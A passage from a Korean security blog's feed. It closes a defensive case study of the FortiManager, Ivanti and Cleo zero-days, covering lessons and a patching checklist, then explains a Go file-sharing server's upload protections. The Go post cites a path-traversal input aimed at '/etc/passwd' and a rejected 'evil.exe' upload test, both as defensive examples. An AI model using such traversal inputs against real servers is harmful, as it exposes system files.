&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;비교 항목&lt;/th&gt;
&lt;th&gt;FortiManager&lt;/th&gt;
&lt;th&gt;Ivanti VPN&lt;/th&gt;
&lt;th&gt;Cleo MFT&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;취약점 유형&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;인증 누락&lt;/td&gt;
&lt;td&gt;버퍼 오버플로우&lt;/td&gt;
&lt;td&gt;무제한 파일 업로드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP 분류&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A07 (인증 실패)&lt;/td&gt;
&lt;td&gt;A03 (인젝션/메모리)&lt;/td&gt;
&lt;td&gt;A04 (안전하지 않은 설계)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;인증 필요 여부&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;불필요&lt;/td&gt;
&lt;td&gt;불필요&lt;/td&gt;
&lt;td&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공격 복잡도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;공격 주체&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;미상 APT&lt;/td&gt;
&lt;td&gt;중국 APT&lt;/td&gt;
&lt;td&gt;랜섬웨어 그룹&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;목적&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;정보 수집/스파이&lt;/td&gt;
&lt;td&gt;정보 수집/스파이&lt;/td&gt;
&lt;td&gt;금전 갈취&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;패치 전 노출 기간&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~4개월&lt;/td&gt;
&lt;td&gt;~3주&lt;/td&gt;
&lt;td&gt;~2개월 (불완전 패치)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;피해 규모&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;50+ 조직&lt;/td&gt;
&lt;td&gt;다수 (미공개)&lt;/td&gt;
&lt;td&gt;66+ 조직&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;패치 품질&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;양호&lt;/td&gt;
&lt;td&gt;불완전 (추가 CVE)&lt;/td&gt;
&lt;td&gt;불완전 (우회 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;5.2 공통 패턴&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. 보안 장비가 공격 대상이다&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3개 사례 모두 &amp;quot;보안을 강화하기 위해 도입한 장비&amp;quot;가 오히려 침투의 관문이 되었다. 방화벽 관리 시스템(FortiManager), VPN(Ivanti), 보안 파일 전송(Cleo) — 이것들은 보안 인프라의 핵심 구성 요소이면서 동시에 인터넷에 노출된 가장 큰 공격 표면이다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 인증 없는 RCE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3개 모두 &lt;strong&gt;인증 없이&lt;/strong&gt; 원격에서 코드를 실행하거나 데이터를 탈취할 수 있었다. 로그인도 필요 없다. 인터넷에서 해당 포트에 접근만 가능하면 공격이 성립한다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 불완전 패치&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ivanti와 Cleo 모두 초기 패치가 불완전하여 추가 취약점이 발견되거나 패치를 우회하는 공격이 이어졌다. 이는 벤더의 보안 코드 리뷰 프로세스가 부족함을 의미한다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 탐지의 어려움&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;FortiManager는 4개월, Cleo는 5일 이상 공격이 탐지되지 않았다. 인터넷에 노출된 어플라이언스의 내부 동작을 모니터링하는 것은 전통적인 네트워크 보안 도구로는 어렵다.&lt;/p&gt;
&lt;h3&gt;5.3 취약점 발생 근본 원인 분석&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;                    ┌─────────────────┐
                    │  근본 원인 분류   │
                    └────────┬────────┘
            ┌────────────────┼────────────────┐
            ▼                ▼                ▼
    ┌──────────────┐ ┌──────────────┐ ┌──────────────┐
    │ 설계 결함     │ │ 구현 결함     │ │ 프로세스 결함 │
    │              │ │              │ │              │
    │ FortiManager │ │ Ivanti       │ │ Cleo         │
    │ (인증 누락)  │ │ (버퍼오버플로) │ │ (불완전 패치) │
    │              │ │              │ │              │
    │ Cleo         │ │              │ │ Ivanti       │
    │ (업로드 제한 │ │              │ │ (반복 제로데이│
    │  미설계)     │ │              │ │  미학습)     │
    └──────────────┘ └──────────────┘ └──────────────┘&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;6. 종합 교훈 및 권고&lt;/h2&gt;
&lt;h3&gt;6.1 제품 선택 관점&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;교훈&lt;/th&gt;
&lt;th&gt;구체적 조치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&amp;quot;보안 장비 = 안전&amp;quot;이라는 전제를 버려라&lt;/td&gt;
&lt;td&gt;보안 장비도 공격 표면이다. 네트워크 노출 최소화 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;벤더의 보안 이력을 평가하라&lt;/td&gt;
&lt;td&gt;Ivanti는 1년 내 2회 제로데이. 제품 선택 시 벤더의 CVE 이력, 패치 대응 속도 고려&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MFT 솔루션은 고위험군&lt;/td&gt;
&lt;td&gt;Cl0p의 3연속 MFT 공격. 파일 전송 솔루션 운영 시 특별 감시 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;6.2 운영 관점&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;교훈&lt;/th&gt;
&lt;th&gt;구체적 조치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;인터넷 노출 장비 인벤토리를 항상 최신 유지&lt;/td&gt;
&lt;td&gt;공격 표면 관리(ASM) 도구로 인터넷 노출 자산 지속 모니터링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;패치는 &amp;quot;신속하되 검증&amp;quot;하라&lt;/td&gt;
&lt;td&gt;벤더 패치를 무조건 신뢰하지 말고, 패치 후 취약점 재검증 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;제로데이 대비 탐지 체계 구축&lt;/td&gt;
&lt;td&gt;패치 불가 상황 대비: 네트워크 세그멘테이션, 이상 행위 탐지, NDR/XDR&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공장 초기화를 고려하라&lt;/td&gt;
&lt;td&gt;어플라이언스 침해 시 패치만으로는 부족. 공격자 백도어 제거를 위해 공장 초기화 권고&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;6.3 개발/아키텍처 관점&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;교훈&lt;/th&gt;
&lt;th&gt;구체적 조치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;인증은 선택이 아닌 필수&lt;/td&gt;
&lt;td&gt;모든 관리 인터페이스/API에 인증 강제. FortiManager처럼 인증 누락은 설계 단계에서 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;메모리 안전 언어 전환&lt;/td&gt;
&lt;td&gt;C/C++ 기반 네트워크 스택에서 버퍼 오버플로우 반복 발생. Rust/Go 도입 검토&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;파일 업로드 = 고위험 기능&lt;/td&gt;
&lt;td&gt;업로드 파일에 대한 확장자, MIME, 실행 권한, 저장 경로 검증 필수 (OWASP 체크리스트)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;패치 품질 보증&lt;/td&gt;
&lt;td&gt;보안 패치에 대한 자체 레드팀 검증. &amp;quot;패치 완료&amp;quot;를 공언하기 전 우회 시도 테스트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;6.4 대응 체크리스트&lt;/h3&gt;
&lt;p&gt;자신의 조직에 해당 제품이 있다면:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;□ Fortinet FortiManager 사용 조직
  ├── FortiManager 7.6.1, 7.4.5, 7.2.8, 7.0.13, 6.4.15 이상으로 업데이트
  ├── fgfmd 포트(TCP 541) 인터넷 노출 여부 확인 및 차단
  ├── FortiManager 로그에서 /tmp/.tm 파일 생성 여부 확인
  └── 관리하는 FortiGate 장비 전체의 비밀번호 변경

□ Ivanti Connect Secure 사용 조직
  ├── 최신 패치 적용 (9.1R18.9 이상)
  ├── ICT(Integrity Checker Tool) 실행하여 변조 확인
  ├── 의심 시 공장 초기화 후 패치 재적용
  ├── LDAP 서비스 계정 비밀번호 변경
  └── VPN 접속 로그에서 비정상 세션 확인

□ Cleo Harmony/VLTrader/LexiCom 사용 조직
  ├── 최신 버전으로 업데이트 (5.8.0.24 이상)
  ├── 업로드 디렉토리에서 비인가 파일(웹셸) 확인
  ├── 인터넷 노출 차단 (VPN 경유로만 접근)
  └── 전송 로그에서 비정상 파일 업로드 패턴 확인&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;7. 참고 자료&lt;/h2&gt;
&lt;h3&gt;사례 1: FortiManager&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cloud.google.com/blog/topics/threat-intelligence/fortimanager-zero-day-exploitation-cve-2024-47575&quot;&gt;Mandiant - Investigating FortiManager Zero-Day Exploitation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/2024/10/23/etr-fortinet-fortimanager-cve-2024-47575-exploited-in-zero-day-attacks/&quot;&gt;Rapid7 - FortiManager CVE-2024-47575 Exploited in Zero-Day Attacks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://labs.watchtowr.com/hop-skip-fortijump-fortijumphigher-cve-2024-23113-cve-2024-47575/&quot;&gt;WatchTowr - FortiJump Exploit Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cisa.gov/news-events/alerts/2024/10/30/fortinet-updates-guidance-and-indicators-compromise-following-fortimanager-vulnerability&quot;&gt;CISA - FortiManager Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;사례 2: Ivanti Connect Secure&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day&quot;&gt;Mandiant/Google - Ivanti Connect Secure VPN Zero-Day&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/2025/01/08/etr-cve-2025-0282-ivanti-connect-secure-zero-day-exploited-in-the-wild/&quot;&gt;Rapid7 - CVE-2025-0282 Ivanti Connect Secure Zero-Day&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://unit42.paloaltonetworks.com/threat-brief-ivanti-cve-2025-0282-cve-2025-0283/&quot;&gt;Palo Alto Unit42 - Threat Brief: CVE-2025-0282&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-Policy-Secure-ZTA-Gateways-CVE-2025-0282-CVE-2025-0283&quot;&gt;Ivanti Security Advisory&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;사례 3: Cleo MFT&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://socradar.io/blog/cleo-file-transfer-vulnerabilities-cl0ps-attack-vector/&quot;&gt;SOCRadar - Cleo Vulnerabilities: Cl0p&amp;#39;s Latest Attack Vector&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rapid7.com/blog/post/2024/12/10/etr-widespread-exploitation-of-cleo-file-transfer-software-cve-2024-50623/&quot;&gt;Rapid7 - Widespread Exploitation of Cleo File Transfer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.recordedfuture.com/blog/cleo-mft-cve-2024-50623-vulnerability-analysis&quot;&gt;Recorded Future - Cleo MFT CVE-2024-50623 Analysis&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;종합&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://theori.io/ko/blog/2025-h1-hot-security-issue-case&quot;&gt;Theori - 2025 상반기 Hot 보안 사건 사고&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mind-sat.com/kr/blog/q1-2025-security-incidents/&quot;&gt;Fasoo - 2025 1Q 기업 주요 보안 사고 모음&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://socradar.io/blog/top-10-cves-of-2025-vulnerabilities-trends/&quot;&gt;SOCRadar - Top 10 CVEs of 2025&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Documentation &amp;amp; Blog</category>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/101</guid>
      <comments>https://reversing-study.tistory.com/101#entry101comment</comments>
      <pubDate>Mon, 6 Apr 2026 01:21:36 +0900</pubDate>
    </item>
    <item>
      <title>Golang file service</title>
      <link>https://reversing-study.tistory.com/100</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Github url&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kwakbumjun713/golang-fileservice/tree/main/go-fileshare&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/kwakbumjun713/golang-fileservice/tree/main/go-fileshare&lt;/a&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;프로젝트 구조&lt;/h2&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;go-fileshare/
├── main.go            &amp;larr; 서버 전체 코드 (단일 파일)
├── templates/
│   ├── index.html     &amp;larr; 메인 페이지 (업로드 + 파일 목록)
│   └── share.html     &amp;larr; 공유 링크 페이지
├── uploads/           &amp;larr; 업로드 파일 저장 경로
├── Dockerfile
├── go.mod
└── README.md&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의도적으로 &lt;b&gt;외부 의존성 0개&lt;/b&gt;로 만들었다. &lt;code&gt;go.mod&lt;/code&gt;에 &lt;code&gt;require&lt;/code&gt;가 없다. &lt;code&gt;net/http&lt;/code&gt;, &lt;code&gt;html/template&lt;/code&gt;, &lt;code&gt;crypto/rand&lt;/code&gt;, &lt;code&gt;mime&lt;/code&gt; 등 표준 라이브러리만 사용한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;핵심 구현 해설&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 파일 업로드 핸들러&lt;/h3&gt;
&lt;pre class=&quot;go&quot;&gt;&lt;code&gt;func uploadHandler(w http.ResponseWriter, r *http.Request) {
    // 1. 요청 크기 제한 (50MB)
    r.Body = http.MaxBytesReader(w, r.Body, maxUploadSize)
    r.ParseMultipartForm(maxUploadSize)

    // 2. 파일 추출
    file, header, _ := r.FormFile(&quot;file&quot;)

    // 3. 보안 검증 (아래 상세 설명)
    origName := sanitizeFilename(header.Filename)  // 경로 순회 방지
    if !isAllowedExt(origName) { ... }             // 확장자 화이트리스트
    mimeType, _ := detectAndValidateMIME(data, origName)  // MIME 검증

    // 4. 고유 ID로 저장
    id := generateID()  // crypto/rand 기반 16바이트 랜덤
    storeName := id + ext
    os.WriteFile(filepath.Join(uploadDir, storeName), data, 0644)

    // 5. curl vs 브라우저 응답 분기
    if isCurl(r) {
        fmt.Fprintf(w, &quot;Share: /share/%s\n&quot;, id)
    } else {
        http.Redirect(w, r, &quot;/&quot;, http.StatusSeeOther)
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 설계 결정:&lt;/b&gt; 파일을 원본 이름이 아닌 &lt;b&gt;랜덤 ID + 확장자&lt;/b&gt;로 저장한다. 이유:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일명 충돌 방지&lt;/li&gt;
&lt;li&gt;원본 파일명에 포함될 수 있는 특수문자/경로 구분자 무력화&lt;/li&gt;
&lt;li&gt;URL에서 원본 파일명이 노출되지 않아 프라이버시 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 보안 검증 &amp;mdash; 4계층 방어&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 업로드는 웹 보안에서 가장 위험한 기능 중 하나다. 4개의 독립적인 검증 레이어를 적용했다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Layer 1: 파일명 새니타이징 (경로 순회 방지)&lt;/h4&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;func sanitizeFilename(name string) string {
    name = filepath.Base(name)           // 경로 구분자 제거: ../../etc/passwd &amp;rarr; passwd
    name = strings.ReplaceAll(name, &quot;..&quot;, &quot;&quot;)  // .. 제거
    name = strings.ReplaceAll(name, &quot;\x00&quot;, &quot;&quot;) // null 바이트 제거
    return name
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 &lt;code&gt;../../etc/passwd&lt;/code&gt; 같은 파일명을 보내면 &lt;code&gt;filepath.Base()&lt;/code&gt;가 &lt;code&gt;passwd&lt;/code&gt;만 남긴다. 이중으로 &lt;code&gt;..&lt;/code&gt;도 제거한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Layer 2: 확장자 화이트리스트&lt;/h4&gt;
&lt;pre class=&quot;go&quot;&gt;&lt;code&gt;var allowedExts = map[string]bool{
    &quot;.txt&quot;: true, &quot;.pdf&quot;: true, &quot;.png&quot;: true, &quot;.jpg&quot;: true,
    &quot;.zip&quot;: true, &quot;.go&quot;: true, &quot;.py&quot;: true, // ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;블랙리스트가 아닌 화이트리스트&lt;/b&gt;를 사용한다. 블랙리스트(&lt;code&gt;.exe&lt;/code&gt;, &lt;code&gt;.bat&lt;/code&gt; 차단)는 새로운 위험 확장자가 등장하면 뚫린다. 화이트리스트는 허용된 것만 통과시키므로 기본적으로 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 결과:&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;$ curl -F 'file=@evil.exe' localhost:8080/upload
Extension not allowed: .exe&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Layer 3: MIME 타입 검증 (Content Sniffing)&lt;/h4&gt;
&lt;pre class=&quot;go&quot;&gt;&lt;code&gt;func detectAndValidateMIME(data []byte, filename string) (string, error) {
    detected := http.DetectContentType(data)  // 파일 내용 기반 감지
    if blockedMIME[detected] { return &quot;&quot;, err }

    extMIME := mime.TypeByExtension(filepath.Ext(filename))  // 확장자 기반
    if blockedMIME[extMIME] { return &quot;&quot;, err }

    return detected, nil
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이중 검증:&lt;/b&gt; 파일 내용(매직 바이트)과 확장자 양쪽으로 MIME을 확인한다. &lt;code&gt;.txt&lt;/code&gt;로 확장자를 위장한 ELF 바이너리도 &lt;code&gt;http.DetectContentType()&lt;/code&gt;이 &lt;code&gt;application/x-executable&lt;/code&gt;로 감지하여 차단한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Layer 4: 최종 경로 검증&lt;/h4&gt;
&lt;pre class=&quot;go&quot;&gt;&lt;code&gt;func isInsideUploadDir(path string) bool {
    absUpload, _ := filepath.Abs(uploadDir)
    absPath, _ := filepath.Abs(path)
    return strings.HasPrefix(absPath, absUpload+string(os.PathSeparator))
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 저장 직전에 절대 경로가 &lt;code&gt;uploads/&lt;/code&gt; 디렉토리 내부인지 최종 확인한다. 앞선 레이어를 모두 우회하더라도 이 검증에서 걸린다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 공유 링크 시스템&lt;/h3&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;업로드 &amp;rarr; ID 생성 (crypto/rand 16바이트 = 32자 hex)
       &amp;rarr; /share/{id} 경로로 공유 링크 생성
       &amp;rarr; /download/{id} 경로로 다운로드

예시:
  공유: http://localhost:8080/share/2c869ba666847b460d52919a64351cc1
  다운: http://localhost:8080/download/2c869ba666847b460d52919a64351cc1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;crypto/rand&lt;/code&gt;를 사용하므로 ID는 예측 불가능하다. 링크를 아는 사람만 파일에 접근할 수 있다 (Unguessable URL 패턴).&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. curl / 브라우저 양쪽 지원&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일한 엔드포인트(&lt;code&gt;/upload&lt;/code&gt;, &lt;code&gt;/share/{id}&lt;/code&gt;)가 User-Agent를 보고 응답 형식을 분기한다:&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;클라이언트&lt;/th&gt;
&lt;th&gt;업로드 응답&lt;/th&gt;
&lt;th&gt;공유 링크 응답&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;curl&lt;/td&gt;
&lt;td&gt;텍스트 (&lt;code&gt;Upload OK\nShare: ...&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;텍스트 (파일 정보)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;브라우저&lt;/td&gt;
&lt;td&gt;리다이렉트 &amp;rarr; 메인 페이지&lt;/td&gt;
&lt;td&gt;HTML 공유 페이지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;# curl 업로드
$ curl -F 'file=@report.pdf' localhost:8080/upload
Upload OK
File: report.pdf
Size: 12345 bytes
Share: localhost:8080/share/abc123...

# curl 다운로드
$ curl -OJ localhost:8080/download/abc123...&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 보안 헤더 미들웨어&lt;/h3&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;func securityHeaders(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set(&quot;X-Content-Type-Options&quot;, &quot;nosniff&quot;)    // MIME 스니핑 방지
        w.Header().Set(&quot;X-Frame-Options&quot;, &quot;DENY&quot;)              // 클릭재킹 방지
        w.Header().Set(&quot;X-XSS-Protection&quot;, &quot;1; mode=block&quot;)    // XSS 필터
        next.ServeHTTP(w, r)
    })
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 시에는 추가로:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;Content-Disposition: attachment&lt;/code&gt; &amp;mdash; 브라우저에서 실행 대신 다운로드 강제&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Content-Type: application/octet-stream&lt;/code&gt; &amp;mdash; MIME 스니핑으로 인한 실행 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;배운 것&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Go 표준 라이브러리의 충분함&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프레임워크(Gin, Echo 등) 없이 &lt;code&gt;net/http&lt;/code&gt;만으로 완전한 웹 서비스를 만들 수 있었다. 라우팅, 멀티파트 파싱, 파일 서빙, 템플릿 렌더링이 모두 표준 라이브러리에 포함되어 있다. 외부 의존성 0개로 빌드 &amp;rarr; 단일 바이너리 &amp;rarr; Docker 이미지 크기 최소화로 이어진다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;파일 업로드 보안은 겹겹이&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단일 검증만으로는 부족하다는 것을 체감했다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;확장자만 검증? &amp;rarr; 확장자 위장으로 우회&lt;/li&gt;
&lt;li&gt;MIME만 검증? &amp;rarr; Content-Type 헤더 조작으로 우회&lt;/li&gt;
&lt;li&gt;파일명만 새니타이징? &amp;rarr; 경로 순회 변종으로 우회&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4계층을 겹쳐야 비로소 안전해진다. 이것이 &quot;심층 방어(Defense in Depth)&quot;의 실체다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;HTTP 멀티파트의 동작 원리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;r.ParseMultipartForm()&lt;/code&gt;이 내부적으로 &lt;code&gt;Content-Type: multipart/form-data&lt;/code&gt;의 boundary를 파싱하고, 각 파트를 메모리 또는 임시 파일에 버퍼링하는 과정을 추적할 수 있었다. &lt;code&gt;MaxBytesReader&lt;/code&gt;로 요청 크기를 제한하면 파싱 전에 차단되어 DoS 방어가 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;실행 방법&lt;/h2&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;# 로컬 실행
git clone &amp;lt;repo-url&amp;gt; &amp;amp;&amp;amp; cd go-fileshare
go build -o fileshare . &amp;amp;&amp;amp; ./fileshare

# Docker
docker build -t go-fileshare .
docker run -p 8080:8080 go-fileshare&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속: &lt;code&gt;http://localhost:8080&lt;/code&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;개선 가능 영역&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 구현에서 의도적으로 생략한 부분:&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;현재&lt;/th&gt;
&lt;th&gt;개선 방향&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;저장소&lt;/td&gt;
&lt;td&gt;인메모리 맵 (재시작 시 유실)&lt;/td&gt;
&lt;td&gt;SQLite 또는 BoltDB 영속화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;인증&lt;/td&gt;
&lt;td&gt;없음 (누구나 업로드)&lt;/td&gt;
&lt;td&gt;API 키 또는 간단한 비밀번호&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공유 링크 만료&lt;/td&gt;
&lt;td&gt;없음 (영구)&lt;/td&gt;
&lt;td&gt;TTL 설정 + 자동 삭제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTPS&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
